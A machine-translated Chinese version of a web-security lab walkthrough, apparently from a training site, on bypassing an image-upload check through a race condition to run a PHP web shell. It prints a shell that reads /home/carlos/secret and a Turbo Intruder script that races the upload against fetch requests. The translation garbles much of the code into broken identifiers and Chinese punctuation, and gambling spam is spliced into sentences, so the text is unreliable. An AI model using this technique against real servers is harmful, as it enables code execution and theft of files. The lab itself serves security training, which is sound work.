实验室:通beplay体育能用吗过比赛条件上传Web外壳
专家
该实验室包含一个脆弱的图像上传功能。尽管它在上传的任何文件上执行了可靠的验证,但可以通过以处理方式来完全利用种族条件来完全绕过此验证。
要解决实验室,请上传基本的php web壳,然后使用它来渗透文件的内容beplay体育能用吗/家/卡洛斯/秘密
。使用实验室横幅中提供的按钮提交此秘密。
您可以使用以下凭据登录到自己的帐户:维纳:彼得
暗示
引入这种种族条件的脆弱代码如下:
<?php $ target_dir =“ avatars/”;$ target_file = $ target_dir。$ _files [“ avatar”] [“ name”];//临时移动move_uploaded_file($ _ files [“ avatar”]] [“ tmp_name”],$ target_file);if(checkViruess($ target_file)&& checkfiletype($ target_file)){echo“ the file”。htmlspecialchars($ target_file)。“已上传。”;} else {unlink($ target_file);回声“对不起,上传您的文件有错误。”;http_response_code(403); } function checkViruses($fileName) { // checking for viruses ... } function checkFileType($fileName) { $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION)); if($imageFileType != "jpg" && $imageFileType != "png") { echo "Sorry, only JPG & PNG files are allowed\n"; return false; } else { return true; } } ?>
解决方案
从上面的源代码中可以看到,上传的文件被移至可访问的文件夹,在该文件夹中检查了病毒。恶意文件只有在病毒检查完成后才删除。这意味着可以在将其删除之前在小时窗口中执行文件。
笔记
由于这种竞赛条件的慷慨时间窗口,可以通过使用Burp Repeater快速连续发送两个请求来解决该实验室。此处描述的解决方案教您一种实用方法,用于利用野外类似漏洞的方法,那里的窗户可能只有几毫秒。
- 登录并上传图像作为您的头像,然后返回您的帐户页面。
- 在打bur,去代理> HTTP历史记录并请注意,您的图像是使用
得到
请求/files/avatars/
。 在您的系统上,创建一个称为的文件
exploit.php
包含一个用于获取卡洛斯秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret');?>
- 登录并尝试将脚本上传为您的头像。观察服务器似乎成功地阻止您上传不是图像的文件,即使您尝试使用以前实验室中学到的一些技术。
- 如果您还没有,请添加涡轮入侵者从Bapp商店延伸到Burp。
- 右键单击
帖子 /my-account /avatar
用于提交文件上传并选择的请求扩展>涡轮入侵者>发送到涡轮入侵者。涡轮入侵者窗口打开。 将以下脚本模板复制到Turbo Intruder的Python编辑中:
def queuereQuests(target,WordLists):eNgire = requestEngine(endpoint = target.endpoint,consurrentConnections = 10,)request1 ='''<您的post-request>'''''''''''''''''''
'''#“ gate”参数阻止了每个请求的最终字节,直到调用opengate的引擎。queue(request1,gate ='race1')在范围内(5):eNgire.queue(request2,gate ='race11)')#等到每个'race1'标记请求都准备就绪#,然后发送每个请求的最终字节#(此方法是非阻止,就像队列一样)eNgire.opengate('race1')engine.com.complete(timeout = 60))def andleresponse(req,有趣):table.add(req) - 在脚本中,替换
整个帖子 /my-account /avatar
请求包含您的exploit.php
文件。您可以从涡轮入侵者窗口的顶部复制并粘贴它。 - 代替
与得到
请求获取上传的PHP文件。最简单的方法是复制获取/files/avatars/
从您的代理历史记录中请求,然后更改路径中的文件名exploit.php
。 - 在涡轮入侵者窗口的底部,单击攻击。该脚本将提交一个
邮政
请求上传您的exploit.php
文件,立即接下来是5得到
请求/files/avatars/exploit.php
。 - 在结果列表中,请注意一些
得到
请求收到了200个包含卡洛斯秘密的响应。这些请求在上载PHP文件后触及服务器,但在验证失败之前并已删除。 - 提交秘密以解决实验室。
笔记
如果您选择构建得到
手动请求,确保您正确终止\ r \ n \ r \ n
序列。还请记住,Python将保留多行字符串中的任何空格,因此您需要相应地调整缩进以确保发送有效的请求。